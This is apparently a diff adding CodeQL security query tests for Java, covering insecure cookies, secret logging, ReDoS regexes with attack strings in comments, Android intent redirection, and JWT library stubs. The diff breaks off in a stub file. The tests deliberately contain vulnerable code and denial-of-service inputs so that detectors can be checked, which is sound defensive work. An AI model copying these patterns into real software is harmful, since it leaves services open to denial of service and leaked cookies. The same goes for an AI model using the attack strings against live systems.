index 904032fe9cc..3274310a6b2 100644
--- a/java/ql/test/query-tests/security/CWE-311/CWE-614/semmle/tests/Test.java
+++ b/java/ql/test/query-tests/security/CWE-311/CWE-614/semmle/tests/Test.java
@@ -8,21 +8,81 @@ package test.cwe614.semmle.tests;
 import javax.servlet.http.*;
 
 class Test {
-	public static void test(HttpServletRequest request, HttpServletResponse response) {
+
+	public static final boolean constTrue = true;
+
+	public static void test(HttpServletRequest request, HttpServletResponse response, boolean alwaysSecure, boolean otherInput) {
 		{
 			Cookie cookie = new Cookie("secret" ,"fakesecret");
-			
+
 			// BAD: secure flag not set
 			response.addCookie(cookie);
-			
+
 		}
-		
+
 		{
 			Cookie cookie = new Cookie("secret" ,"fakesecret");
-			
+
+			// BAD: secure flag set to false
+			cookie.setSecure(false);
+			response.addCookie(cookie);
+
+		}
+
+		{
+			Cookie cookie = new Cookie("secret" ,"fakesecret");
+
+			// BAD: secure flag set to something not clearly true or request.isSecure()
+			cookie.setSecure(otherInput);
+			response.addCookie(cookie);
+
+		}
+
+		{
+			Cookie cookie = new Cookie("secret" ,"fakesecret");
+
+			// BAD: secure flag sometimes set to something clearly true or request.isSecure()
+			boolean secureVal;
+			if(alwaysSecure)
+				secureVal = true;
+			else
+				secureVal = otherInput;
+			cookie.setSecure(secureVal);
+			response.addCookie(cookie);
+
+		}
+
+		{
+			Cookie cookie = new Cookie("secret" ,"fakesecret");
+
 			// GOOD: set secure flag
 			cookie.setSecure(true);
 			response.addCookie(cookie);
 		}
+
+		{
+			Cookie cookie = new Cookie("secret" ,"fakesecret");
+
+			// GOOD: set secure flag
+			cookie.setSecure(true);
+			response.addCookie(cookie);
+		}
+
+		{
+			Cookie cookie = new Cookie("secret" ,"fakesecret");
+
+			// GOOD: set secure flag
+			cookie.setSecure(constTrue);
+			response.addCookie(cookie);
+		}
+
+		{
+			Cookie cookie = new Cookie("secret" ,"fakesecret");
+
+			// GOOD: set secure flag if contacted over HTTPS
+			cookie.setSecure(alwaysSecure ? true : request.isSecure());
+			response.addCookie(cookie);
+		}
+
 	}
 }
diff --git a/java/ql/test/query-tests/security/CWE-532/Test.java b/java/ql/test/query-tests/security/CWE-532/Test.java
index d70355651a3..2f985f0b7bc 100644
--- a/java/ql/test/query-tests/security/CWE-532/Test.java
+++ b/java/ql/test/query-tests/security/CWE-532/Test.java
@@ -5,12 +5,18 @@ class Test {
         Logger logger = null;
 
         logger.info("User's password is: " + password); // $ hasTaintFlow
-    }   
+    }
 
     void test2(String authToken) {
         Logger logger = null;
 
-        logger.error("Auth failed for: " + authToken); // $ hasTaintFlow 
+        logger.error("Auth failed for: " + authToken); // $ hasTaintFlow
     }
 
-}
\ No newline at end of file
+    void test3(String username) {
+        Logger logger = null;
+
+        logger.error("Auth failed for: " + username); // Safe
+    }
+
+}
diff --git a/java/ql/test/query-tests/security/CWE-730/ExpRedosTest.java b/java/ql/test/query-tests/security/CWE-730/ExpRedosTest.java
new file mode 100644
index 00000000000..e7e876cb696
--- /dev/null
+++ b/java/ql/test/query-tests/security/CWE-730/ExpRedosTest.java
@@ -0,0 +1,439 @@
+import java.util.regex.Pattern;
+
+class ExpRedosTest {
+    static String[] regs = {
+
+        // NOT GOOD; attack: "_" + "__".repeat(100)
+        // Adapted from marked (https://github.com/markedjs/marked), which is licensed
+        // under the MIT license; see file marked-LICENSE.
+        "^\\b_((?:__|[\\s\\S])+?)_\\b|^\\*((?:\\*\\*|[\\s\\S])+?)\\*(?!\\*)", // $ hasExpRedos
+
+        // GOOD
+        // Adapted from marked (https://github.com/markedjs/marked), which is licensed
+        // under the MIT license; see file marked-LICENSE.
+        "^\\b_((?:__|[^_])+?)_\\b|^\\*((?:\\*\\*|[^*])+?)\\*(?!\\*)",
+
+        // GOOD - there is no witness in the end that could cause the regexp to not match
+        // Adapted from brace-expansion (https://github.com/juliangruber/brace-expansion),
+        // which is licensed under the MIT license; see file brace-expansion-LICENSE.
+        "(.*,)+.+",
+
+        // NOT GOOD; attack: " '" + "\\\\".repeat(100)
+        // Adapted from CodeMirror (https://github.com/codemirror/codemirror),
+        // which is licensed under the MIT license; see file CodeMirror-LICENSE.
+        "^(?:\\s+(?:\"(?:[^\"\\\\]|\\\\\\\\|\\\\.)+\"|'(?:[^'\\\\]|\\\\\\\\|\\\\.)+'|\\((?:[^)\\\\]|\\\\\\\\|\\\\.)+\\)))?", // $ hasExpRedos
+
+        // GOOD
+        // Adapted from lulucms2 (https://github.com/yiifans/lulucms2).
+        "\\(\\*(?:[\\s\\S]*?\\(\\*[\\s\\S]*?\\*\\))*[\\s\\S]*?\\*\\)",
+
+        // GOOD
+        // Adapted from jest (https://github.com/facebook/jest), which is licensed
+        // under the MIT license; see file jest-LICENSE.
+        "^ *(\\S.*\\|.*)\\n *([-:]+ *\\|[-| :]*)\\n((?:.*\\|.*(?:\\n|$))*)\\n*",
+
+        // NOT GOOD, variant of good3; attack: "a|\n:|\n" + "||\n".repeat(100)
+        "^ *(\\S.*\\|.*)\\n *([-:]+ *\\|[-| :]*)\\n((?:.*\\|.*(?:\\n|$))*)a", // $ hasExpRedos
+
+        // NOT GOOD; attack: "/" + "\\/a".repeat(100)
+        // Adapted from ANodeBlog (https://github.com/gefangshuai/ANodeBlog),
+        // which is licensed under the Apache License 2.0; see file ANodeBlog-LICENSE.
+        "\\/(?![ *])(\\\\\\/|.)*?\\/[gim]*(?=\\W|$)", // $ hasExpRedos
+
+        // NOT GOOD; attack: "##".repeat(100) + "\na"
+        // Adapted from CodeMirror (https://github.com/codemirror/codemirror),
+        // which is licensed under the MIT license; see file CodeMirror-LICENSE.
+        "^([\\s\\[\\{\\(]|#.*)*$", // $ hasExpRedos
+
+        // GOOD
+        "(\\r\\n|\\r|\\n)+",
+
+        // BAD - PoC: `node -e "/((?:[^\"\']|\".*?\"|\'.*?\')*?)([(,)]|$)/.test(\"'''''''''''''''''''''''''''''''''''''''''''''\\\"\");"`. It's complicated though, because the regexp still matches something, it just matches the empty-string after the attack string.
+
+        // NOT GOOD; attack: "a" + "[]".repeat(100) + ".b\n"
+        // Adapted from Knockout (https://github.com/knockout/knockout), which is
+        // licensed under the MIT license; see file knockout-LICENSE
+        "^[\\_$a-z][\\_$a-z0-9]*(\\[.*?\\])*(\\.[\\_$a-z][\\_$a-z0-9]*(\\[.*?\\])*)*$", // $ hasExpRedos
+
+        // GOOD
+        "(a|.)*",
+
+        // Testing the NFA - only some of the below are detected.
+        "^([a-z]+)+$", // $ hasExpRedos
+        "^([a-z]*)*$", // $ hasExpRedos
+        "^([a-zA-Z0-9])(([\\\\-.]|[_]+)?([a-zA-Z0-9]+))*(@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1}[a-z]{2,3}))$", // $ hasExpRedos
+        "^(([a-z])+.)+[A-Z]([a-z])+$", // $ hasExpRedos
+
+        // NOT GOOD; attack: "[" + "][".repeat(100) + "]!"
+        // Adapted from Prototype.js (https://github.com/prototypejs/prototype), which
+        // is licensed under the MIT license; see file Prototype.js-LICENSE.
+        "(([\\w#:.~>+()\\s-]+|\\*|\\[.*?\\])+)\\s*(,|$)", // $ hasExpRedos
+
+        // NOT GOOD; attack: "'" + "\\a".repeat(100) + '"'
+        // Adapted from Prism (https://github.com/PrismJS/prism), which is licensed
+        // under the MIT license; see file Prism-LICENSE.
+        "(\"|')(\\\\?.)*?\\1", // $ hasExpRedos
+
+        // NOT GOOD
+        "(b|a?b)*c", // $ hasExpRedos
+
+        // NOT GOOD
+        "(a|aa?)*b", // $ hasExpRedos
+
+        // GOOD
+        "(.|\\n)*!",
+
+        // NOT GOOD; attack: "\n".repeat(100) + "."
+        "(?s)(.|\\n)*!", // $ hasExpRedos
+
+        // GOOD
+        "([\\w.]+)*",
+
+        // NOT GOOD
+        "(a|aa?)*b", // $ hasExpRedos
+
+        // NOT GOOD
+        "(([\\s\\S]|[^a])*)\"", // $ hasExpRedos
+
+        // GOOD - there is no witness in the end that could cause the regexp to not match
+        "([^\"']+)*",
+
+        // NOT GOOD
+        "((.|[^a])*)\"", // $ hasExpRedos
+
+        // GOOD
+        "((a|[^a])*)\"",
+
+        // NOT GOOD
+        "((b|[^a])*)\"", // $ hasExpRedos
+
+        // NOT GOOD
+        "((G|[^a])*)\"", // $ hasExpRedos
+
+        // NOT GOOD
+        "(([0-9]|[^a])*)\"", // $ hasExpRedos
+
+        // NOT GOOD
+        "(?:=(?:([!#\\$%&'\\*\\+\\-\\.\\^_`\\|~0-9A-Za-z]+)|\"((?:\\\\[\\x00-\\x7f]|[^\\x00-\\x08\\x0a-\\x1f\\x7f\"])*)\"))?", // $ MISSING: hasExpRedos
+
+        // NOT GOOD
+        "\"((?:\\\\[\\x00-\\x7f]|[^\\x00-\\x08\\x0a-\\x1f\\x7f\"])*)\"", // $ MISSING: hasExpRedos
+
+        // GOOD
+        "\"((?:\\\\[\\x00-\\x7f]|[^\\x00-\\x08\\x0a-\\x1f\\x7f\"\\\\])*)\"", 
+
+        // NOT GOOD
+        "(([a-z]|[d-h])*)\"", // $ hasExpRedos
+
+        // NOT GOOD
+        "(([^a-z]|[^0-9])*)\"", // $ hasExpRedos
+
+        // NOT GOOD
+        "((\\d|[0-9])*)\"", // $ hasExpRedos
+
+        // NOT GOOD
+        "((\\s|\\s)*)\"", // $ hasExpRedos
+
+        // NOT GOOD
+        "((\\w|G)*)\"", // $ hasExpRedos
+
+        // GOOD
+        "((\\s|\\d)*)\"",
+
+        // NOT GOOD
+        "((\\d|\\w)*)\"", // $ hasExpRedos
+
+        // NOT GOOD
+        "((\\d|5)*)\"", // $ hasExpRedos
+
+        // NOT GOOD
+        "((\\s|[\\f])*)\"", // $ hasExpRedos
+
+        // NOT GOOD - but not detected (likely because \v is a character class in Java rather than a specific character in other langs)
+        "((\\s|[\\v]|\\\\v)*)\"", // $ MISSING: hasExpRedos
+
+        // NOT GOOD
+        "((\\f|[\\f])*)\"", // $ hasExpRedos
+
+        // NOT GOOD
+        "((\\W|\\D)*)\"", // $ hasExpRedos
+
+        // NOT GOOD
+        "((\\S|\\w)*)\"", // $ hasExpRedos
+
+        // NOT GOOD
+        "((\\S|[\\w])*)\"", // $ hasExpRedos
+
+        // NOT GOOD
+        "((1s|[\\da-z])*)\"", // $ hasExpRedos
+
+        // NOT GOOD
+        "((0|[\\d])*)\"", // $ hasExpRedos
+
+        // NOT GOOD
+        "(([\\d]+)*)\"", // $ hasExpRedos
+
+        // GOOD - there is no witness in the end that could cause the regexp to not match
+        "(\\d+(X\\d+)?)+",
+
+        // GOOD - there is no witness in the end that could cause the regexp to not match
+        "([0-9]+(X[0-9]*)?)*",
+
+        // GOOD
+        "^([^>]+)*(>|$)",
+
+        // NOT GOOD
+        "^([^>a]+)*(>|$)", // $ hasExpRedos
+
+        // NOT GOOD
+        "(\\n\\s*)+$", // $ hasExpRedos
+
+        // NOT GOOD
+        "^(?:\\s+|#.*|\\(\\?#[^)]*\\))*(?:[?*+]|\\{\\d+(?:,\\d*)?})", // $ hasExpRedos
+
+        // NOT GOOD
+        "\\{\\[\\s*([a-zA-Z]+)\\(([a-zA-Z]+)\\)((\\s*([a-zA-Z]+)\\: ?([ a-zA-Z{}]+),?)+)*\\s*\\]\\}", // $ hasExpRedos
+
+        // NOT GOOD
+        "(a+|b+|c+)*c", // $ hasExpRedos
+
+        // NOT GOOD
+        "(((a+a?)*)+b+)", // $ hasExpRedos
+
+        // NOT GOOD
+        "(a+)+bbbb", // $ hasExpRedos
+
+        // GOOD
+        "(a+)+aaaaa*a+",
+
+        // NOT GOOD
+        "(a+)+aaaaa$", // $ hasExpRedos
+
+        // GOOD
+        "(\\n+)+\\n\\n",
+
+        // NOT GOOD
+        "(\\n+)+\\n\\n$", // $ hasExpRedos
+
+        // NOT GOOD
+        "([^X]+)*$", // $ hasExpRedos
+
+        // NOT GOOD
+        "(([^X]b)+)*$", // $ hasExpRedos
+
+        // GOOD
+        "(([^X]b)+)*($|[^X]b)",
+
+        // NOT GOOD
+        "(([^X]b)+)*($|[^X]c)", // $ hasExpRedos
+
+        // GOOD
+        "((ab)+)*ababab",
+
+        // GOOD
+        "((ab)+)*abab(ab)*(ab)+",
+
+        // GOOD
+        "((ab)+)*",
+
+        // NOT GOOD
+        "((ab)+)*$", // $ hasExpRedos
+
+        // GOOD
+        "((ab)+)*[a1][b1][a2][b2][a3][b3]",
+
+        // NOT GOOD
+        "([\\n\\s]+)*(.)", // $ hasExpRedos
+
+        // GOOD - any witness passes through the accept state.
+        "(A*A*X)*",
+
+        // GOOD
+        "([^\\\\\\]]+)*",
+
+        // NOT GOOD
+        "(\\w*foobarbaz\\w*foobarbaz\\w*foobarbaz\\w*foobarbaz\\s*foobarbaz\\d*foobarbaz\\w*)+-", // $ hasExpRedos
+
+        // NOT GOOD
+        "(.thisisagoddamnlongstringforstresstestingthequery|\\sthisisagoddamnlongstringforstresstestingthequery)*-", // $ hasExpRedos
+
+        // NOT GOOD
+        "(thisisagoddamnlongstringforstresstestingthequery|this\\w+query)*-", // $ hasExpRedos
+
+        // GOOD
+        "(thisisagoddamnlongstringforstresstestingthequery|imanotherbutunrelatedstringcomparedtotheotherstring)*-",
+
+        // GOOD (but false positive caused by the extractor converting all four unpaired surrogates to \uFFFD)
+        "foo([\uDC66\uDC67]|[\uDC68\uDC69])*foo", // $ SPURIOUS: hasExpRedos
+
+        // GOOD (but false positive caused by the extractor converting all four unpaired surrogates to \uFFFD)
+        "foo((\uDC66|\uDC67)|(\uDC68|\uDC69))*foo", // $ SPURIOUS: hasExpRedos
+
+        // NOT GOOD (but cannot currently construct a prefix)
+        "a{2,3}(b+)+X", // $ hasExpRedos
+
+        // NOT GOOD (and a good prefix test)
+        "^<(\\w+)((?:\\s+\\w+(?:\\s*=\\s*(?:(?:\"[^\"]*\")|(?:'[^']*')|[^>\\s]+))?)*)\\s*(\\/?)>", // $ hasExpRedos
+
+        // GOOD
+        "(a+)*[\\s\\S][\\s\\S][\\s\\S]?",
+
+        // GOOD - but we fail to see that repeating the attack string ends in the "accept any" state (due to not parsing the range `[\s\S]{2,3}`).
+        "(a+)*[\\s\\S]{2,3}", // $ SPURIOUS: hasExpRedos
+
+        // GOOD - but we spuriously conclude that a rejecting suffix exists (due to not parsing the range `[\s\S]{2,}` when constructing the NFA).
+        "(a+)*([\\s\\S]{2,}|X)$", // $ SPURIOUS: hasExpRedos
+
+        // GOOD
+        "(a+)*([\\s\\S]*|X)$",
+
+        // NOT GOOD
+        "((a+)*$|[\\s\\S]+)", // $ hasExpRedos
+
+        // GOOD - but still flagged. The only change compared to the above is the order of alternatives, which we don't model.
+        "([\\s\\S]+|(a+)*$)", // $ SPURIOUS: hasExpRedos
+
+        // GOOD
+        "((;|^)a+)+$",
+
+        // NOT GOOD (a good prefix test)
+        "(^|;)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(e+)+f", // $ hasExpRedos
+
+        // NOT GOOD
+        "^ab(c+)+$", // $ hasExpRedos
+
+        // NOT GOOD
+        "(\\d(\\s+)*){20}", // $ hasExpRedos
+
+        // GOOD - but we spuriously conclude that a rejecting suffix exists.
+        "(([^/]|X)+)(\\/[\\s\\S]*)*$", // $ SPURIOUS: hasExpRedos
+
+        // GOOD - but we spuriously conclude that a rejecting suffix exists.
+        "^((x([^Y]+)?)*(Y|$))", // $ SPURIOUS: hasExpRedos
+
+        // NOT GOOD
+        "(a*)+b", // $ hasExpRedos
+
+        // NOT GOOD
+        "foo([\\w-]*)+bar", // $ hasExpRedos
+
+        // NOT GOOD
+        "((ab)*)+c", // $ hasExpRedos
+
+        // NOT GOOD
+        "(a?a?)*b", // $ hasExpRedos
+
+        // GOOD
+        "(a?)*b",
+
+        // NOT GOOD - but not detected
+        "(c?a?)*b", // $ MISSING: hasExpRedos
+
+        // NOT GOOD
+        "(?:a|a?)+b", // $ hasExpRedos
+
+        // NOT GOOD - but not detected.
+        "(a?b?)*$", // $ MISSING: hasExpRedos
+
+        // NOT GOOD
+        "PRE(([a-c]|[c-d])T(e?e?e?e?|X))+(cTcT|cTXcTX$)", // $ hasExpRedos
+
+        // NOT GOOD
+        "^((a)+\\w)+$", // $ hasExpRedos
+
+        // NOT GOOD
+        "^(b+.)+$", // $ hasExpRedos
+
+        // GOOD
+        "a*b",
+
+        // All 4 bad combinations of nested * and +
+        "(a*)*b", // $ hasExpRedos
+        "(a+)*b", // $ hasExpRedos
+        "(a*)+b", // $ hasExpRedos
+        "(a+)+b", // $ hasExpRedos
+
+        // GOOD
+        "(a|b)+",
+        "(?:[\\s;,\"'<>(){}|\\[\\]@=+*]|:(?![/\\\\]))+",
+
+        "^((?:a{|-)|\\w\\{)+X$", // $ hasParseFailure
+        "^((?:a{0|-)|\\w\\{\\d)+X$", // $ hasParseFailure
+        "^((?:a{0,|-)|\\w\\{\\d,)+X$", // $ hasParseFailure
+        "^((?:a{0,2|-)|\\w\\{\\d,\\d)+X$", // $ hasParseFailure
+
+        // GOOD
+        "^((?:a{0,2}|-)|\\w\\{\\d,\\d\\})+X$",
+
+        // NOT GOOD
+        "X(\\u0061|a)*Y", // $ hasExpRedos
+
+        // GOOD
+        "X(\\u0061|b)+Y",
+
+        // NOT GOOD
+        "X(\\x61|a)*Y", // $ hasExpRedos
+
+        // GOOD
+        "X(\\x61|b)+Y",
+
+        // NOT GOOD
+        "X(\\x{061}|a)*Y", // $ hasExpRedos
+
+        // GOOD
+        "X(\\x{061}|b)+Y",
+
+        // NOT GOOD
+        "X(\\p{Digit}|7)*Y", // $ hasExpRedos
+
+        // GOOD
+        "X(\\p{Digit}|b)+Y",
+
+         // NOT GOOD
+        "X(\\P{Digit}|b)*Y", // $ hasExpRedos
+
+        // GOOD
+        "X(\\P{Digit}|7)+Y",
+
+        // NOT GOOD
+        "X(\\p{IsDigit}|7)*Y", // $ hasExpRedos
+
+        // GOOD
+        "X(\\p{IsDigit}|b)+Y",
+
+         // NOT GOOD - but not detected
+        "X(\\p{Alpha}|a)*Y", // $ MISSING: hasExpRedos
+
+        // GOOD
+        "X(\\p{Alpha}|7)+Y",
+
+        // GOOD
+        "(\"[^\"]*?\"|[^\"\\s]+)+(?=\\s*|\\s*$)",
+
+        // BAD
+        "/(\"[^\"]*?\"|[^\"\\s]+)+(?=\\s*|\\s*$)X", // $ hasExpRedos
+        "/(\"[^\"]*?\"|[^\"\\s]+)+(?=X)", // $ hasExpRedos
+
+        // BAD
+        "\\A(\\d|0)*x", // $ hasExpRedos
+        "(\\d|0)*\\Z", // $ hasExpRedos
+        "\\b(\\d|0)*x", // $ hasExpRedos
+
+        // GOOD - possessive quantifiers don't backtrack
+        "(a*+)*+b",
+        "(a*)*+b",
+        "(a*+)*b",
+
+        // BAD
+        "(a*)*b", // $ hasExpRedos
+
+        // BAD - but not detected due to the way possessive quantifiers are approximated
+        "((aa|a*+)b)*c" // $ MISSING: hasExpRedos
+    };
+
+    void test() {
+        for (int i = 0; i < regs.length; i++) {
+            Pattern.compile(regs[i]);
+        }
+    }
+}
diff --git a/java/ql/test/query-tests/security/CWE-730/PolyRedosTest.java b/java/ql/test/query-tests/security/CWE-730/PolyRedosTest.java
new file mode 100644
index 00000000000..44931190460
--- /dev/null
+++ b/java/ql/test/query-tests/security/CWE-730/PolyRedosTest.java
@@ -0,0 +1,84 @@
+import java.util.regex.Pattern;
+import java.util.function.Predicate;
+import javax.servlet.http.HttpServletRequest;
+import com.google.common.base.Splitter;
+
+class PolyRedosTest {
+    void test(HttpServletRequest request) {
+        String tainted = request.getParameter("inp");
+        String reg = "0\\.\\d+E?\\d+!";
+        Predicate<String> dummyPred = (s -> s.length() % 7 == 0);
+        
+        tainted.matches(reg); // $ hasPolyRedos
+        tainted.split(reg); // $ hasPolyRedos
+        tainted.split(reg, 7); // $ hasPolyRedos
+        tainted.replaceAll(reg, "a"); // $ hasPolyRedos
+        tainted.replaceFirst(reg, "a"); // $ hasPolyRedos
+        Pattern.matches(reg, tainted); // $ hasPolyRedos
+        Pattern.compile(reg).matcher(tainted).matches(); // $ hasPolyRedos
+        Pattern.compile(reg).split(tainted); // $ hasPolyRedos
+        Pattern.compile(reg, Pattern.DOTALL).split(tainted); // $ hasPolyRedos
+        Pattern.compile(reg).split(tainted, 7); // $ hasPolyRedos
+        Pattern.compile(reg).splitAsStream(tainted); // $ hasPolyRedos
+        Pattern.compile(reg).asPredicate().test(tainted); // $ hasPolyRedos
+        Pattern.compile(reg).asMatchPredicate().negate().and(dummyPred).or(dummyPred).test(tainted); // $ hasPolyRedos
+        Predicate.not(dummyPred.and(dummyPred.or(Pattern.compile(reg).asPredicate()))).test(tainted); // $ hasPolyRedos
+
+        Splitter.on(Pattern.compile(reg)).split(tainted); // $ hasPolyRedos
+        Splitter.on(reg).split(tainted); 
+        Splitter.onPattern(reg).split(tainted); // $ hasPolyRedos
+        Splitter.onPattern(reg).splitToList(tainted); // $ hasPolyRedos
+        Splitter.onPattern(reg).limit(7).omitEmptyStrings().trimResults().split(tainted); // $ hasPolyRedos
+        Splitter.onPattern(reg).withKeyValueSeparator(" => ").split(tainted); // $ hasPolyRedos
+        Splitter.on(";").withKeyValueSeparator(reg).split(tainted);
+        Splitter.on(";").withKeyValueSeparator(Splitter.onPattern(reg)).split(tainted); // $ hasPolyRedos
+
+    }
+
+    void test2(HttpServletRequest request) {
+        String tainted = request.getParameter("inp");
+
+        Pattern p1 = Pattern.compile(".*a");
+        Pattern p2 = Pattern.compile(".*b");
+
+        p1.matcher(tainted).matches(); 
+        p2.matcher(tainted).find(); // $ hasPolyRedos
+    }
+
+    void test3(HttpServletRequest request) {
+        String tainted = request.getParameter("inp");
+
+        Pattern p1 = Pattern.compile("ab*b*");
+        Pattern p2 = Pattern.compile("cd*d*");
+
+        p1.matcher(tainted).matches(); // $ hasPolyRedos
+        p2.matcher(tainted).find(); 
+    }
+
+    void test4(HttpServletRequest request) {
+        String tainted = request.getParameter("inp");
+
+        tainted.matches(".*a");
+        tainted.replaceAll(".*b", "c"); // $ hasPolyRedos
+    }
+
+    static Pattern p3 = Pattern.compile(".*a");
+    static Pattern p4 = Pattern.compile(".*b");
+    
+
+    void test5(HttpServletRequest request) {
+        String tainted = request.getParameter("inp");
+
+        p3.asMatchPredicate().test(tainted); 
+        p4.asPredicate().test(tainted); // $ hasPolyRedos
+    }
+
+    void test6(HttpServletRequest request) {
+        Pattern p = Pattern.compile("^a*a*$");
+
+        p.matcher(request.getParameter("inp")).matches(); // $ hasPolyRedos
+        p.matcher(request.getHeader("If-None-Match")).matches();
+        p.matcher(request.getRequestURI()).matches();
+        p.matcher(request.getCookies()[0].getName()).matches();
+    }
+}
\ No newline at end of file
diff --git a/java/ql/test/query-tests/security/CWE-730/PolynomialReDoS.expected b/java/ql/test/query-tests/security/CWE-730/PolynomialReDoS.expected
new file mode 100644
index 00000000000..e69de29bb2d
diff --git a/java/ql/test/query-tests/security/CWE-730/PolynomialReDoS.ql b/java/ql/test/query-tests/security/CWE-730/PolynomialReDoS.ql
new file mode 100644
index 00000000000..19096cf6f95
--- /dev/null
+++ b/java/ql/test/query-tests/security/CWE-730/PolynomialReDoS.ql
@@ -0,0 +1,19 @@
+import java
+import TestUtilities.InlineExpectationsTest
+import semmle.code.java.security.performance.PolynomialReDoSQuery
+
+class HasPolyRedos extends InlineExpectationsTest {
+  HasPolyRedos() { this = "HasPolyRedos" }
+
+  override string getARelevantTag() { result = "hasPolyRedos" }
+
+  override predicate hasActualResult(Location location, string element, string tag, string value) {
+    tag = "hasPolyRedos" and
+    exists(DataFlow::PathNode source, DataFlow::PathNode sink, PolynomialBackTrackingTerm regexp |
+      hasPolynomialReDoSResult(source, sink, regexp) and
+      location = sink.getNode().getLocation() and
+      element = sink.getNode().toString() and
+      value = ""
+    )
+  }
+}
diff --git a/java/ql/test/query-tests/security/CWE-730/ReDoS.expected b/java/ql/test/query-tests/security/CWE-730/ReDoS.expected
new file mode 100644
index 00000000000..e69de29bb2d
diff --git a/java/ql/test/query-tests/security/CWE-730/ReDoS.ql b/java/ql/test/query-tests/security/CWE-730/ReDoS.ql
new file mode 100644
index 00000000000..79cb8243cd7
--- /dev/null
+++ b/java/ql/test/query-tests/security/CWE-730/ReDoS.ql
@@ -0,0 +1,29 @@
+import java
+import TestUtilities.InlineExpectationsTest
+import semmle.code.java.security.performance.ExponentialBackTracking
+import semmle.code.java.regex.regex
+
+class HasExpRedos extends InlineExpectationsTest {
+  HasExpRedos() { this = "HasExpRedos" }
+
+  override string getARelevantTag() { result = ["hasExpRedos", "hasParseFailure"] }
+
+  override predicate hasActualResult(Location location, string element, string tag, string value) {
+    tag = "hasExpRedos" and
+    exists(RegExpTerm t, string pump, State s, string prefixMsg |
+      hasReDoSResult(t, pump, s, prefixMsg) and
+      not t.getRegex().getAMode() = "VERBOSE" and
+      value = "" and
+      location = t.getLocation() and
+      element = t.toString()
+    )
+    or
+    tag = "hasParseFailure" and
+    exists(Regex r |
+      r.failedToParse(_) and
+      value = "" and
+      location = r.getLocation() and
+      element = r.toString()
+    )
+  }
+}
diff --git a/java/ql/test/query-tests/security/CWE-730/options b/java/ql/test/query-tests/security/CWE-730/options
new file mode 100644
index 00000000000..2f7d22dc61c
--- /dev/null
+++ b/java/ql/test/query-tests/security/CWE-730/options
@@ -0,0 +1 @@
+// semmle-extractor-options: --javac-args -cp ${testdir}/../../../stubs/servlet-api-2.4:${testdir}/../../../stubs/guava-30.0
\ No newline at end of file
diff --git a/java/ql/test/query-tests/security/CWE-940/AndroidIntentRedirectionTest.java b/java/ql/test/query-tests/security/CWE-940/AndroidIntentRedirectionTest.java
index c577ca96620..2ce945461b6 100644
--- a/java/ql/test/query-tests/security/CWE-940/AndroidIntentRedirectionTest.java
+++ b/java/ql/test/query-tests/security/CWE-940/AndroidIntentRedirectionTest.java
@@ -40,13 +40,23 @@ public class AndroidIntentRedirectionTest extends Activity {
         sendStickyOrderedBroadcastAsUser(intent, null, null, null, 0, null, null); // $ hasAndroidIntentRedirection
         // @formatter:on
 
+        // Sanitizing only the package or the class still allows redirecting
+        // to non-exported activities in the same package
+        // or activities with the same name in other packages, respectively.
         if (intent.getComponent().getPackageName().equals("something")) {
-            startActivity(intent); // Safe - sanitized
+            startActivity(intent); // $ hasAndroidIntentRedirection
         } else {
             startActivity(intent); // $ hasAndroidIntentRedirection
         }
         if (intent.getComponent().getClassName().equals("something")) {
-            startActivity(intent); // Safe - sanitized
+            startActivity(intent); // $ hasAndroidIntentRedirection
+        } else {
+            startActivity(intent); // $ hasAndroidIntentRedirection
+        }
+
+        if (intent.getComponent().getPackageName().equals("something")
+                && intent.getComponent().getClassName().equals("something")) {
+            startActivity(intent); // Safe
         } else {
             startActivity(intent); // $ hasAndroidIntentRedirection
         }
@@ -94,8 +104,7 @@ public class AndroidIntentRedirectionTest extends Activity {
             }
             {
                 Intent fwdIntent = new Intent();
-                ComponentName component =
-                        new ComponentName("", intent.getStringExtra("className"));
+                ComponentName component = new ComponentName("", intent.getStringExtra("className"));
                 fwdIntent.setComponent(component);
                 startActivity(fwdIntent); // $ hasAndroidIntentRedirection
             }
diff --git a/java/ql/test/stubs/auth0-jwt-2.3/com/auth0/jwt/JWT.java b/java/ql/test/stubs/auth0-jwt-2.3/com/auth0/jwt/JWT.java
new file mode 100644
index 00000000000..bd805484106
--- /dev/null
+++ b/java/ql/test/stubs/auth0-jwt-2.3/com/auth0/jwt/JWT.java
@@ -0,0 +1,57 @@
+package com.auth0.jwt;
+
+import com.auth0.jwt.algorithms.Algorithm;
+import com.auth0.jwt.exceptions.JWTDecodeException;
+import com.auth0.jwt.interfaces.DecodedJWT;
+import com.auth0.jwt.interfaces.Verification;
+
+public class JWT {
+    public JWT() {
+    }
+
+    /**
+     * Decode a given Json Web Token.
+     * <p>
+     * Note that this method <b>doesn't verify the token's signature!</b> Use it only if you trust the token or you already verified it.
+     *
+     * @param token with jwt format as string.
+     * @return a decoded JWT.
+     * @throws JWTDecodeException if any part of the token contained an invalid jwt or JSON format of each of the jwt parts.
+     */
+    public DecodedJWT decodeJwt(String token) throws JWTDecodeException {
+        return null;
+    }
+
+    /**
+     * Decode a given Json Web Token.
+     * <p>
+     * Note that this method <b>doesn't verify the token's signature!</b> Use it only if you trust the token or you already verified it.
+     *
+     * @param token with jwt format as string.
+     * @return a decoded JWT.
+     * @throws JWTDecodeException if any part of the token contained an invalid jwt or JSON format of each of the jwt parts.
+     */
+    public static DecodedJWT decode(String token) throws JWTDecodeException {
+        return null;
+    }
+
+    /**
+     * Returns a {@link JWTVerifier} builder with the algorithm to be used to validate token signature.
+     *
+     * @param algorithm that will be used to verify the token's signature.
+     * @return {@link JWTVerifier} builder
+     * @throws IllegalArgumentException if the provided algorithm is null.
+     */
+    public static Verification require(Algorithm algorithm) {
+        return null;
+    }
+
+    /**
+     * Returns a Json Web Token builder used to create and sign tokens
+     *
+     * @return a token builder.
+     */
+    public static JWTCreator.Builder create() {
+        return null;
+    }
+}
\ No newline at end of file
diff --git a/java/ql/test/stubs/auth0-jwt-2.3/com/auth0/jwt/JWTCreator.java b/java/ql/test/stubs/auth0-jwt-2.3/com/auth0/jwt/JWTCreator.java
new file mode 100644
index 00000000000..863298425bd
--- /dev/null
+++ b/java/ql/test/stubs/auth0-jwt-2.3/com/auth0/jwt/JWTCreator.java
@@ -0,0 +1,300 @@
+package com.auth0.jwt;
+
+import com.auth0.jwt.algorithms.Algorithm;
+import com.auth0.jwt.exceptions.JWTCreationException;
+
+import java.util.*;
+
+/**
+ * The JWTCreator class holds the sign method to generate a complete JWT (with Signature) from a given Header and Payload content.
+ * <p>
